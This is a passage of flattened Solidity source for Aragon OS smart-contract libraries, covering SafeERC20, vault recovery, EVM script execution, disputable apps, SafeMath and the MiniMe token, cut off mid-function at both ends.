require(!REENTRANCY_MUTEX_POSITION.getStorageBool(), ERROR_REENTRANT); // Lock mutex before function call REENTRANCY_MUTEX_POSITION.setStorageBool(true); // Perform function call _; // Unlock mutex after function call REENTRANCY_MUTEX_POSITION.setStorageBool(false); } } // File: @aragon/os/contracts/common/EtherTokenConstant.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; // aragonOS and aragon-apps rely on address(0) to denote native ETH, in // contracts where both tokens and ETH are accepted contract EtherTokenConstant { address internal constant ETH = address(0); } // File: @aragon/os/contracts/common/IsContract.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } // File: @aragon/os/contracts/common/SafeERC20.sol // Inspired by AdEx (https://github.com/AdExNetwork/adex-protocol-eth/blob/b9df617829661a7518ee10f4cb6c4108659dd6d5/contracts/libs/SafeERC20.sol) // and 0x (https://github.com/0xProject/0x-monorepo/blob/737d1dc54d72872e24abce5a1dbe1b66d35fa21a/contracts/protocol/contracts/protocol/AssetProxy/ERC20Proxy.sol#L143) pragma solidity ^0.4.24; library SafeERC20 { // Before 0.5, solidity has a mismatch between `address.transfer()` and `token.transfer()`: // https://github.com/ethereum/solidity/issues/3544 bytes4 private constant TRANSFER_SELECTOR = 0xa9059cbb; string private constant ERROR_TOKEN_BALANCE_REVERTED = "SAFE_ERC_20_BALANCE_REVERTED"; string private constant ERROR_TOKEN_ALLOWANCE_REVERTED = "SAFE_ERC_20_ALLOWANCE_REVERTED"; function invokeAndCheckSuccess(address _addr, bytes memory _calldata) private returns (bool) { bool ret; assembly { let ptr := mload(0x40) // free memory pointer let success := call( gas, // forward all gas _addr, // address 0, // no value add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { // Check number of bytes returned from last function call switch returndatasize // No bytes returned: assume success case 0 { ret := 1 } // 32 bytes returned: check if non-zero case 0x20 { // Only return success if returned data was true // Already have output in ptr ret := eq(mload(ptr), 1) } // Not sure what was returned: don't mark as success default { } } } return ret; } function staticInvoke(address _addr, bytes memory _calldata) private view returns (bool, uint256) { bool success; uint256 ret; assembly { let ptr := mload(0x40) // free memory pointer success := staticcall( gas, // forward all gas _addr, // address add(_calldata, 0x20), // calldata start mload(_calldata), // calldata length ptr, // write output over free memory 0x20 // uint256 return ) if gt(success, 0) { ret := mload(ptr) } } return (success, ret); } /** * @dev Same as a standards-compliant ERC20.transfer() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransfer(ERC20 _token, address _to, uint256 _amount) internal returns (bool) { bytes memory transferCallData = abi.encodeWithSelector( TRANSFER_SELECTOR, _to, _amount ); return invokeAndCheckSuccess(_token, transferCallData); } /** * @dev Same as a standards-compliant ERC20.transferFrom() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeTransferFrom(ERC20 _token, address _from, address _to, uint256 _amount) internal returns (bool) { bytes memory transferFromCallData = abi.encodeWithSelector( _token.transferFrom.selector, _from, _to, _amount ); return invokeAndCheckSuccess(_token, transferFromCallData); } /** * @dev Same as a standards-compliant ERC20.approve() that never reverts (returns false). * Note that this makes an external call to the token. */ function safeApprove(ERC20 _token, address _spender, uint256 _amount) internal returns (bool) { bytes memory approveCallData = abi.encodeWithSelector( _token.approve.selector, _spender, _amount ); return invokeAndCheckSuccess(_token, approveCallData); } /** * @dev Static call into ERC20.balanceOf(). * Reverts if the call fails for some reason (should never fail). */ function staticBalanceOf(ERC20 _token, address _owner) internal view returns (uint256) { bytes memory balanceOfCallData = abi.encodeWithSelector( _token.balanceOf.selector, _owner ); (bool success, uint256 tokenBalance) = staticInvoke(_token, balanceOfCallData); require(success, ERROR_TOKEN_BALANCE_REVERTED); return tokenBalance; } /** * @dev Static call into ERC20.allowance(). * Reverts if the call fails for some reason (should never fail). */ function staticAllowance(ERC20 _token, address _owner, address _spender) internal view returns (uint256) { bytes memory allowanceCallData = abi.encodeWithSelector( _token.allowance.selector, _owner, _spender ); (bool success, uint256 allowance) = staticInvoke(_token, allowanceCallData); require(success, ERROR_TOKEN_ALLOWANCE_REVERTED); return allowance; } /** * @dev Static call into ERC20.totalSupply(). * Reverts if the call fails for some reason (should never fail). */ function staticTotalSupply(ERC20 _token) internal view returns (uint256) { bytes memory totalSupplyCallData = abi.encodeWithSelector(_token.totalSupply.selector); (bool success, uint256 totalSupply) = staticInvoke(_token, totalSupplyCallData); require(success, ERROR_TOKEN_ALLOWANCE_REVERTED); return totalSupply; } } // File: @aragon/os/contracts/common/VaultRecoverable.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract VaultRecoverable is IVaultRecoverable, EtherTokenConstant, IsContract { using SafeERC20 for ERC20; string private constant ERROR_DISALLOWED = "RECOVER_DISALLOWED"; string private constant ERROR_VAULT_NOT_CONTRACT = "RECOVER_VAULT_NOT_CONTRACT"; string private constant ERROR_TOKEN_TRANSFER_FAILED = "RECOVER_TOKEN_TRANSFER_FAILED"; /** * @notice Send funds to recovery Vault. This contract should never receive funds, * but in case it does, this function allows one to recover them. * @param _token Token balance to be sent to recovery vault. */ function transferToVault(address _token) external { require(allowRecoverability(_token), ERROR_DISALLOWED); address vault = getRecoveryVault(); require(isContract(vault), ERROR_VAULT_NOT_CONTRACT); uint256 balance; if (_token == ETH) { balance = address(this).balance; vault.transfer(balance); } else { ERC20 token = ERC20(_token); balance = token.staticBalanceOf(this); require(token.safeTransfer(vault, balance), ERROR_TOKEN_TRANSFER_FAILED); } emit RecoverToVault(vault, _token, balance); } /** * @dev By default deriving from AragonApp makes it recoverable * @param token Token address that would be recovered * @return bool whether the app allows the recovery */ function allowRecoverability(address token) public view returns (bool) { return true; } // Cast non-implemented interface to be public so we can use it internally function getRecoveryVault() public view returns (address); } // File: @aragon/os/contracts/evmscript/IEVMScriptExecutor.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); function executorType() external pure returns (bytes32); } // File: @aragon/os/contracts/evmscript/IEVMScriptRegistry.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract EVMScriptRegistryConstants { /* Hardcoded constants to save gas bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = apmNamehash("evmreg"); */ bytes32 internal constant EVMSCRIPT_REGISTRY_APP_ID = 0xddbcfd564f642ab5627cf68b9b7d374fb4f8a36e941a75d89c87998cef03bd61; } interface IEVMScriptRegistry { function addScriptExecutor(IEVMScriptExecutor executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function getScriptExecutor(bytes script) public view returns (IEVMScriptExecutor); } // File: @aragon/os/contracts/kernel/KernelConstants.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract KernelAppIds { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_APP_ID = apmNamehash("kernel"); bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = apmNamehash("acl"); bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = apmNamehash("vault"); */ bytes32 internal constant KERNEL_CORE_APP_ID = 0x3b4bf6bf3ad5000ecf0f989d5befde585c6860fea3e574a4fab4c49d1c177d9c; bytes32 internal constant KERNEL_DEFAULT_ACL_APP_ID = 0xe3262375f45a6e2026b7e7b18c2b807434f2508fe1a2a3dfb493c7df8f4aad6a; bytes32 internal constant KERNEL_DEFAULT_VAULT_APP_ID = 0x7e852e0fcfce6551c13800f1e7476f982525c2b5277ba14b24339c68416336d1; } contract KernelNamespaceConstants { /* Hardcoded constants to save gas bytes32 internal constant KERNEL_CORE_NAMESPACE = keccak256("core"); bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = keccak256("base"); bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = keccak256("app"); */ bytes32 internal constant KERNEL_CORE_NAMESPACE = 0xc681a85306374a5ab27f0bbc385296a54bcd314a1948b6cf61c4ea1bc44bb9f8; bytes32 internal constant KERNEL_APP_BASES_NAMESPACE = 0xf1f3eb40f5bc1ad1344716ced8b8a0431d840b5783aea1fd01786bc26f35ac0f; bytes32 internal constant KERNEL_APP_ADDR_NAMESPACE = 0xd6f028ca0e8edb4a8c9757ca4fdccab25fa1e0317da1188108f7d2dee14902fb; } // File: @aragon/os/contracts/evmscript/EVMScriptRunner.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract EVMScriptRunner is AppStorage, Initializable, EVMScriptRegistryConstants, KernelNamespaceConstants { string private constant ERROR_EXECUTOR_UNAVAILABLE = "EVMRUN_EXECUTOR_UNAVAILABLE"; string private constant ERROR_PROTECTED_STATE_MODIFIED = "EVMRUN_PROTECTED_STATE_MODIFIED"; /* This is manually crafted in assembly string private constant ERROR_EXECUTOR_INVALID_RETURN = "EVMRUN_EXECUTOR_INVALID_RETURN"; */ event ScriptResult(address indexed executor, bytes script, bytes input, bytes returnData); function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script)); } function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) { address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID); return IEVMScriptRegistry(registryAddr); } function runScript(bytes _script, bytes _input, address[] _blacklist) internal isInitialized protectState returns (bytes) { IEVMScriptExecutor executor = getEVMScriptExecutor(_script); require(address(executor) != address(0), ERROR_EXECUTOR_UNAVAILABLE); bytes4 sig = executor.execScript.selector; bytes memory data = abi.encodeWithSelector(sig, _script, _input, _blacklist); bytes memory output; assembly { let success := delegatecall( gas, // forward all gas executor, // address add(data, 0x20), // calldata start mload(data), // calldata length 0, // don't write output (we'll handle this ourselves) 0 // don't write output ) output := mload(0x40) // free mem ptr get switch success case 0 { // If the call errored, forward its full error data returndatacopy(output, 0, returndatasize) revert(output, returndatasize) } default { switch gt(returndatasize, 0x3f) case 0 { // Need at least 0x40 bytes returned for properly ABI-encoded bytes values, // revert with "EVMRUN_EXECUTOR_INVALID_RETURN" // See remix: doing a `revert("EVMRUN_EXECUTOR_INVALID_RETURN")` always results in // this memory layout mstore(output, 0x08c379a000000000000000000000000000000000000000000000000000000000) // error identifier mstore(add(output, 0x04), 0x0000000000000000000000000000000000000000000000000000000000000020) // starting offset mstore(add(output, 0x24), 0x000000000000000000000000000000000000000000000000000000000000001e) // reason length mstore(add(output, 0x44), 0x45564d52554e5f4558454355544f525f494e56414c49445f52455455524e0000) // reason revert(output, 100) // 100 = 4 + 3 * 32 (error identifier + 3 words for the ABI encoded error) } default { // Copy result // // Needs to perform an ABI decode for the expected `bytes` return type of // `executor.execScript()` as solidity will automatically ABI encode the returned bytes as: // [ position of the first dynamic length return value = 0x20 (32 bytes) ] // [ output length (32 bytes) ] // [ output content (N bytes) ] // // Perform the ABI decode by ignoring the first 32 bytes of the return data let copysize := sub(returndatasize, 0x20) returndatacopy(output, 0x20, copysize) mstore(0x40, add(output, copysize)) // free mem ptr set } } } emit ScriptResult(address(executor), _script, _input, output); return output; } modifier protectState { address preKernel = address(kernel()); bytes32 preAppId = appId(); _; // exec require(address(kernel()) == preKernel, ERROR_PROTECTED_STATE_MODIFIED); require(appId() == preAppId, ERROR_PROTECTED_STATE_MODIFIED); } } // File: @aragon/os/contracts/apps/AragonApp.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; // Contracts inheriting from AragonApp are, by default, immediately petrified upon deployment so // that they can never be initialized. // Unless overriden, this behaviour enforces those contracts to be usable only behind an AppProxy. // ReentrancyGuard, EVMScriptRunner, and ACLSyntaxSugar are not directly used by this contract, but // are included so that they are automatically usable by subclassing contracts contract AragonApp is ERC165, AppStorage, Autopetrified, VaultRecoverable, ReentrancyGuard, EVMScriptRunner, ACLSyntaxSugar { string private constant ERROR_AUTH_FAILED = "APP_AUTH_FAILED"; modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0)), ERROR_AUTH_FAILED); _; } modifier authP(bytes32 _role, uint256[] _params) { require(canPerform(msg.sender, _role, _params), ERROR_AUTH_FAILED); _; } /** * @dev Check whether an action can be performed by a sender for a particular role on this app * @param _sender Sender of the call * @param _role Role on this app * @param _params Permission params for the role * @return Boolean indicating whether the sender has the permissions to perform the action. * Always returns false if the app hasn't been initialized yet. */ function canPerform(address _sender, bytes32 _role, uint256[] _params) public view returns (bool) { if (!hasInitialized()) { return false; } IKernel linkedKernel = kernel(); if (address(linkedKernel) == address(0)) { return false; } return linkedKernel.hasPermission( _sender, address(this), _role, ConversionHelpers.dangerouslyCastUintArrayToBytes(_params) ); } /** * @dev Get the recovery vault for the app * @return Recovery vault address for the app */ function getRecoveryVault() public view returns (address) { // Funds recovery via a vault is only available when used with a kernel return kernel().getRecoveryVault(); // if kernel is not set, it will revert } /** * @dev Query if a contract implements a certain interface * @param _interfaceId The interface identifier being queried, as specified in ERC-165 * @return True if the contract implements the requested interface and if its not 0xffffffff, false otherwise */ function supportsInterface(bytes4 _interfaceId) public pure returns (bool) { return super.supportsInterface(_interfaceId) || _interfaceId == ARAGON_APP_INTERFACE_ID; } } // File: @aragon/os/contracts/lib/math/SafeMath64.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted for uint64, pragma ^0.4.24, and satisfying our linter rules // Also optimized the mul() implementation, see https://github.com/aragon/aragonOS/pull/417 pragma solidity ^0.4.24; /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/os/contracts/apps/disputable/DisputableAragonApp.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract DisputableAragonApp is IDisputable, AragonApp { /* Validation errors */ string internal constant ERROR_SENDER_NOT_AGREEMENT = "DISPUTABLE_SENDER_NOT_AGREEMENT"; string internal constant ERROR_AGREEMENT_STATE_INVALID = "DISPUTABLE_AGREEMENT_STATE_INVAL"; // This role is used to protect who can challenge actions in derived Disputable apps. However, it is not required // to be validated in the app itself as the connected Agreement is responsible for performing the check on a challenge. // bytes32 public constant CHALLENGE_ROLE = keccak256("CHALLENGE_ROLE"); bytes32 public constant CHALLENGE_ROLE = 0xef025787d7cd1a96d9014b8dc7b44899b8c1350859fb9e1e05f5a546dd65158d; // bytes32 public constant SET_AGREEMENT_ROLE = keccak256("SET_AGREEMENT_ROLE"); bytes32 public constant SET_AGREEMENT_ROLE = 0x8dad640ab1b088990c972676ada708447affc660890ec9fc9a5483241c49f036; // bytes32 internal constant AGREEMENT_POSITION = keccak256("aragonOS.appStorage.agreement"); bytes32 internal constant AGREEMENT_POSITION = 0x6dbe80ccdeafbf5f3fff5738b224414f85e9370da36f61bf21c65159df7409e9; modifier onlyAgreement() { require(address(_getAgreement()) == msg.sender, ERROR_SENDER_NOT_AGREEMENT); _; } /** * @notice Challenge disputable action #`_disputableActionId` * @dev This hook must be implemented by Disputable apps. We provide a base implementation to ensure that the `onlyAgreement` modifier * is included. Subclasses should implement the internal implementation of the hook. * @param _disputableActionId Identifier of the action to be challenged * @param _challengeId Identifier of the challenge in the context of the Agreement * @param _challenger Address that submitted the challenge */ function onDisputableActionChallenged(uint256 _disputableActionId, uint256 _challengeId, address _challenger) external onlyAgreement { _onDisputableActionChallenged(_disputableActionId, _challengeId, _challenger); } /** * @notice Allow disputable action #`_disputableActionId` * @dev This hook must be implemented by Disputable apps. We provide a base implementation to ensure that the `onlyAgreement` modifier * is included. Subclasses should implement the internal implementation of the hook. * @param _disputableActionId Identifier of the action to be allowed */ function onDisputableActionAllowed(uint256 _disputableActionId) external onlyAgreement { _onDisputableActionAllowed(_disputableActionId); } /** * @notice Reject disputable action #`_disputableActionId` * @dev This hook must be implemented by Disputable apps. We provide a base implementation to ensure that the `onlyAgreement` modifier * is included. Subclasses should implement the internal implementation of the hook. * @param _disputableActionId Identifier of the action to be rejected */ function onDisputableActionRejected(uint256 _disputableActionId) external onlyAgreement { _onDisputableActionRejected(_disputableActionId); } /** * @notice Void disputable action #`_disputableActionId` * @dev This hook must be implemented by Disputable apps. We provide a base implementation to ensure that the `onlyAgreement` modifier * is included. Subclasses should implement the internal implementation of the hook. * @param _disputableActionId Identifier of the action to be voided */ function onDisputableActionVoided(uint256 _disputableActionId) external onlyAgreement { _onDisputableActionVoided(_disputableActionId); } /** * @notice Set Agreement to `_agreement` * @param _agreement Agreement instance to be set */ function setAgreement(IAgreement _agreement) external auth(SET_AGREEMENT_ROLE) { IAgreement agreement = _getAgreement(); require(agreement == IAgreement(0) && _agreement != IAgreement(0), ERROR_AGREEMENT_STATE_INVALID); AGREEMENT_POSITION.setStorageAddress(address(_agreement)); emit AgreementSet(_agreement); } /** * @dev Tell the linked Agreement * @return Agreement */ function getAgreement() external view returns (IAgreement) { return _getAgreement(); } /** * @dev Query if a contract implements a certain interface * @param _interfaceId The interface identifier being queried, as specified in ERC-165 * @return True if the contract implements the requested interface and if its not 0xffffffff, false otherwise */ function supportsInterface(bytes4 _interfaceId) public pure returns (bool) { return super.supportsInterface(_interfaceId) || _interfaceId == DISPUTABLE_INTERFACE_ID; } /** * @dev Internal implementation of the `onDisputableActionChallenged` hook * @param _disputableActionId Identifier of the action to be challenged * @param _challengeId Identifier of the challenge in the context of the Agreement * @param _challenger Address that submitted the challenge */ function _onDisputableActionChallenged(uint256 _disputableActionId, uint256 _challengeId, address _challenger) internal; /** * @dev Internal implementation of the `onDisputableActionRejected` hook * @param _disputableActionId Identifier of the action to be rejected */ function _onDisputableActionRejected(uint256 _disputableActionId) internal; /** * @dev Internal implementation of the `onDisputableActionAllowed` hook * @param _disputableActionId Identifier of the action to be allowed */ function _onDisputableActionAllowed(uint256 _disputableActionId) internal; /** * @dev Internal implementation of the `onDisputableActionVoided` hook * @param _disputableActionId Identifier of the action to be voided */ function _onDisputableActionVoided(uint256 _disputableActionId) internal; /** * @dev Register a new disputable action in the Agreement * @param _disputableActionId Identifier of the action in the context of the Disputable * @param _context Link to human-readable context for the given action * @param _submitter Address that submitted the action * @return Unique identifier for the created action in the context of the Agreement */ function _registerDisputableAction(uint256 _disputableActionId, bytes _context, address _submitter) internal returns (uint256) { IAgreement agreement = _ensureAgreement(); return agreement.newAction(_disputableActionId, _context, _submitter); } /** * @dev Close disputable action in the Agreement * @param _actionId Identifier of the action in the context of the Agreement */ function _closeDisputableAction(uint256 _actionId) internal { IAgreement agreement = _ensureAgreement(); agreement.closeAction(_actionId); } /** * @dev Tell the linked Agreement * @return Agreement */ function _getAgreement() internal view returns (IAgreement) { return IAgreement(AGREEMENT_POSITION.getStorageAddress()); } /** * @dev Tell the linked Agreement or revert if it has not been set * @return Agreement */ function _ensureAgreement() internal view returns (IAgreement) { IAgreement agreement = _getAgreement(); require(agreement != IAgreement(0), ERROR_AGREEMENT_STATE_INVALID); return agreement; } } // File: @aragon/os/contracts/forwarding/IAbstractForwarder.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; /** * @title Abstract forwarder interface * @dev This is the base interface for all forwarders. * Forwarding allows separately installed applications (smart contracts implementing the forwarding interface) to execute multi-step actions via EVM scripts. * You should only support the forwarding interface if your "action step" is asynchronous (e.g. requiring a delay period or a voting period). * Note: you should **NOT** directly inherit from this interface; see one of the other, non-abstract interfaces available. */ contract IAbstractForwarder { enum ForwarderType { NOT_IMPLEMENTED, NO_CONTEXT, WITH_CONTEXT } /** * @dev Tell whether the proposed forwarding path (an EVM script) from the given sender is allowed. * However, this is not a strict guarantee of safety: the implemented `forward()` method is * still allowed to revert even if `canForward()` returns true for the same parameters. * @return True if the sender's proposed path is allowed */ function canForward(address sender, bytes evmScript) external view returns (bool); /** * @dev Tell the forwarder type * @return Forwarder type */ function forwarderType() external pure returns (ForwarderType); /** * @dev Report whether the implementing app is a forwarder * Required for backwards compatibility with aragonOS 4 * @return Always true */ function isForwarder() external pure returns (bool) { return true; } } // File: @aragon/os/contracts/forwarding/IForwarderWithContext.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; /** * @title Forwarder interface requiring context information * @dev This forwarder interface allows for additional context to be attached to the action by the sender. */ contract IForwarderWithContext is IAbstractForwarder { /** * @dev Forward an EVM script with an attached context */ function forward(bytes evmScript, bytes context) external; /** * @dev Tell the forwarder type * @return Always 2 (ForwarderType.WITH_CONTEXT) */ function forwarderType() external pure returns (ForwarderType) { return ForwarderType.WITH_CONTEXT; } } // File: @aragon/os/contracts/lib/math/SafeMath.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/d51e38758e1d985661534534d5c61e27bece5042/contracts/math/SafeMath.sol // Adapted to use pragma ^0.4.24 and satisfy our linter rules pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { string private constant ERROR_ADD_OVERFLOW = "MATH_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b, ERROR_MUL_OVERFLOW); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // File: @aragon/minime/contracts/ITokenController.sol pragma solidity ^0.4.24; /// @dev The token controller contract must implement these functions interface ITokenController { /// @notice Called when `_owner` sends ether to the MiniMe Token contract /// @param _owner The address that sent the ether to create tokens /// @return True if the ether is accepted, false if it throws function proxyPayment(address _owner) external payable returns(bool); /// @notice Notifies the controller about a token transfer allowing the /// controller to react if desired /// @param _from The origin of the transfer /// @param _to The destination of the transfer /// @param _amount The amount of the transfer /// @return False if the controller does not authorize the transfer function onTransfer(address _from, address _to, uint _amount) external returns(bool); /// @notice Notifies the controller about an approval allowing the /// controller to react if desired /// @param _owner The address that calls `approve()` /// @param _spender The spender in the `approve()` call /// @param _amount The amount in the `approve()` call /// @return False if the controller does not authorize the approval function onApprove(address _owner, address _spender, uint _amount) external returns(bool); } // File: @aragon/minime/contracts/MiniMeToken.sol pragma solidity ^0.4.24; /* Copyright 2016, Jordi Baylina This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ /// @title MiniMeToken Contract /// @author Jordi Baylina /// @dev This token contract's goal is to make it easy for anyone to clone this /// token using the token distribution at a given block, this will allow DAO's /// and DApps to upgrade their features in a decentralized manner without /// affecting the original token /// @dev It is ERC20 compliant, but still needs to under go further testing. contract Controlled { /// @notice The address of the controller is the only address that can call /// a function with this modifier modifier onlyController { require(msg.sender == controller); _; } address public controller; function Controlled() public { controller = msg.sender;} /// @notice Changes the controller of the contract /// @param _newController The new controller of the contract function changeController(address _newController) onlyController public { controller = _newController; } } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 _amount, address _token, bytes _data ) public; } /// @dev The actual token contract, the default controller is the msg.sender /// that deploys the contract, so usually this token will be deployed by a /// token controller contract, which Giveth will call a "Campaign" contract MiniMeToken is Controlled { string public name; //The Token's name: e.g. DigixDAO Tokens uint8 public decimals; //Number of decimals of the smallest unit string public symbol; //An identifier: e.g. REP string public version = "MMT_0.1"; //An arbitrary versioning scheme /// @dev `Checkpoint` is the structure that attaches a block number to a /// given value, the block number attached is the one that last changed the /// value struct Checkpoint { // `fromBlock` is the block number that the value was generated from uint128 fromBlock; // `value` is the amount of tokens at a specific block number uint128 value; } // `parentToken` is the Token address that was cloned to produce this token; // it will be 0x0 for a token that was not cloned MiniMeToken public parentToken; // `parentSnapShotBlock` is the block number from the Parent Token that was // used to determine the initial distribution of the Clone Token uint public parentSnapShotBlock; // `creationBlock` is the block number that the Clone Token was created uint public creationBlock; // `balances` is the map that tracks the balance of each address, in this // contract when the balance changes the block number that the change // occurred is also included in the map mapping (address => Checkpoint[]) balances; // `allowed` tracks any extra transfer rights as in all ERC20 tokens mapping (address => mapping (address => uint256)) allowed; // Tracks the history of the `totalSupply` of the token Checkpoint[] totalSupplyHistory; // Flag that determines if the token is transferable or not. bool public transfersEnabled; // The factory used to create new clone tokens MiniMeTokenFactory public tokenFactory; //////////////// // Constructor //////////////// /// @notice Constructor to create a MiniMeToken /// @param _tokenFactory The address of the MiniMeTokenFactory contract that /// will create the Clone token contracts, the token factory needs to be /// deployed first /// @param _parentToken Address of the parent token, set to 0x0 if it is a /// new token /// @param _parentSnapShotBlock Block of the parent token that will /// determine the initial distribution of the clone token, set to 0 if it /// is a new token /// @param _tokenName Name of the new token /// @param _decimalUnits Number of decimals of the new token /// @param _tokenSymbol Token Symbol for the new token /// @param _transfersEnabled If true, tokens will be able to be transferred function MiniMeToken( MiniMeTokenFactory _tokenFactory, MiniMeToken _parentToken, uint _parentSnapShotBlock, string _tokenName, uint8 _decimalUnits, string _tokenSymbol, bool _transfersEnabled ) public { tokenFactory = _tokenFactory; name = _tokenName; // Set the name decimals = _decimalUnits; // Set the decimals symbol = _tokenSymbol; // Set the symbol parentToken = _parentToken; parentSnapShotBlock = _parentSnapShotBlock; transfersEnabled = _transfersEnabled; creationBlock = block.number; } /////////////////// // ERC20 Methods /////////////////// /// @notice Send `_amount` tokens to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); return doTransfer(msg.sender, _to, _amount); } /// @notice Send `_amount` tokens to `_to` from `_from` on the condition it /// is approved by `_from` /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { // The controller of this contract can move tokens around at will, // this is important to recognize! Confirm that you trust the // controller of this contract, which in most situations should be // another open source smart contract or 0x0 if (msg.sender != controller) { require(transfersEnabled); // The standard ERC 20 transferFrom functionality if (allowed[_from][msg.sender] < _amount) return false; allowed[_from][msg.sender] -= _amount; } return doTransfer(_from, _to, _amount); } /// @dev This is the actual transfer function in the token contract, it can /// only be called by other functions in this contract. /// @param _from The address holding the tokens being transferred /// @param _to The address of the recipient /// @param _amount The amount of tokens to be transferred /// @return True if the transfer was successful function doTransfer(address _from, address _to, uint _amount) internal returns(bool) { if (_amount == 0) { return true; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 